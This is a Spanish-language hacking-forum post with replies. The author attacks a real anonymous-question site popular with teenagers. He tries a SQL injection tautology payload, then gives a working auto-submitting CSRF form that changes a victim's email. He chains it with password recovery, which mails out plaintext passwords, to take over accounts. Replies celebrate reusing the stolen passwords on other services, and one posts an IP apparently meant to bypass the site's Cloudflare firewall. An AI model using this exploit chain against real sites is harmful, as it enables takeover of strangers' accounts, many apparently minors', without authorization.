Muy buenas Underc0ders,
hace tiempo descubrí una página en la que creas un perfil y la gente puede hacerte preguntas para que tu respondas de una forma anónima. Por lo visto se puso algo de moda entre los adolescentes en España, se trata de http://www.thiscrush.com.
Hoy me ha dado algo de intriga y me he puesto a ver si le encontraba algo interesante. Lo primero que me ha dado por mirar ha sido una opción en la que podías dar un "Me Gusta" al perfil de la persona.
(https://i.gyazo.com/bc154c00bde31926fe474894e3dc43c6.png)
Vamos a abrir BurpSuite y veamos como va la petición al pulsar este botoncito.
(https://i.gyazo.com/940231141866baacb89950d09d440af7.png)
Vemos que solo enviamos un parámetro que es el ID que corresponde al usuario al que se le va a añadir el "Me Gusta". Sabiendo esto, pensé que con una tautología tal vez pudieramos o bien dar un punto a todos los usuarios de la plataforma, o bien encontrar una bonita blind SQLi.
id=usuario' OR 1=1 -- -Al contrario de lo que yo pensaba me encontré como respuesta algo como así.
(https://i.gyazo.com/b46df9dd395966add844071b10f00a68.png)
Esto es el WAF de CloudFlare, que comprueba todas las peticiones que se hacen a dicha página web y dependiendo de si son peligrosas o no decide si bloquearlas, lo que me hizo desilusionarme un poco ya que esto complica bastante las cosas.
(https://www.wordfence.com/wp-content/uploads/2016/10/cfWF2.png)
Después de esto seguí mirando a ver si encontraba algo interesante, al rato de estar dando vueltas sin ningún tipo de sentido decidí mirar la configuración de una cuenta falsa que me había creado.
(https://i.gyazo.com/7bcb63027e2612d60c3c52d8b310c580.png)
Al comprobar como era la petición al hacer un cambio en la configuración vemos lo siguiente.
(https://i.gyazo.com/dd7af9b62d6acb2bd01f7e75a9a0a4b5.png)
Bueno, vemos que no envía ningún tipo de tocken, así que es vulnerable a CSRF y CloudFlare no será capaz de bloquear este tipo de ataque. Vamos a imitar el formulario, pondremos que envíe nuestro correo y lo subimos a algún tipo de Hosting privado. A mi me quedó de la siguiente forma.
<head>
</head>
<body>
<form action="http://thiscrush.com/settings.php?cmd=go" method="POST" id="myForm">
<input type="hidden" name="email" value="[email protected]" />
<img src=x onerror="myFunction()">
<form>
<script>
function myFunction() {
document.getElementById("myForm").submit();
}
</script>
</body>
Ahora con tan solo enviarle el link se le cambiaría el correo del usuario, así que lo siguiente que vamos a hacer es ir a la opción de recuperar contraseña y poner nuestro correo
(https://i.gyazo.com/1f93d6242fc541daff8cf135fb409598.png)
Hay dos cosas graciosas en esto. La primera es que las contraseñas no son hasheadas, si no que se guardan en texto plano, y en lugar de enviarte un correo para que cambies la contraseña te la envían directamente, lo que es peligroso ya que pueden quedar comprometidas otras redes en las que el usuario use la misma contraseña.
El segundo dato gracioso es que usé una cuenta de YopMail para hacer esta prueba, y la respuesta que me dió fue la siguiente.
(https://i.gyazo.com/544112f086e8154eeb8f77edde029666.png)
Por último me gustaría insistir en la importancia de tener las configuraciones bien hechas en nuestros servidores, ya que como hemos visto, a pesar de usar un WAF podemos tener problemas. Espero que les haya gustado.
También me pueden seguir en Twitter si les hace ilusión: @RoloMijan (https://twitter.com/RoloMijan)
Saludos.
Buah, que jefe, a mi no se me había ocurrido vulnerar thiscrush.
Seguro que con esa tontería te sacas unas cuantas cuentas de insta, teniendo en cuenta que la gente siempre usa la misma pass xDDDD.
Se va a liar muy parda xDDDDDDDDD
Buen post rolo
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Esto es el WAF de CloudFlare, que comprueba todas las peticiones que se hacen a dicha página web y dependiendo de si son peligrosas o no decide si bloquearlas, lo que me hizo desilusionarme un poco ya que esto complica bastante las cosas.
Dejo esto por aqui y me retiro lentamente... 18.197.186.60
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Buen post rolo
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Esto es el WAF de CloudFlare, que comprueba todas las peticiones que se hacen a dicha página web y dependiendo de si son peligrosas o no decide si bloquearlas, lo que me hizo desilusionarme un poco ya que esto complica bastante las cosas.
Dejo esto por aqui y me retiro lentamente... 18.197.186.60
Creo que tu comentario de una linea ya es mejor que todo el Post jajajajaja
Saludos.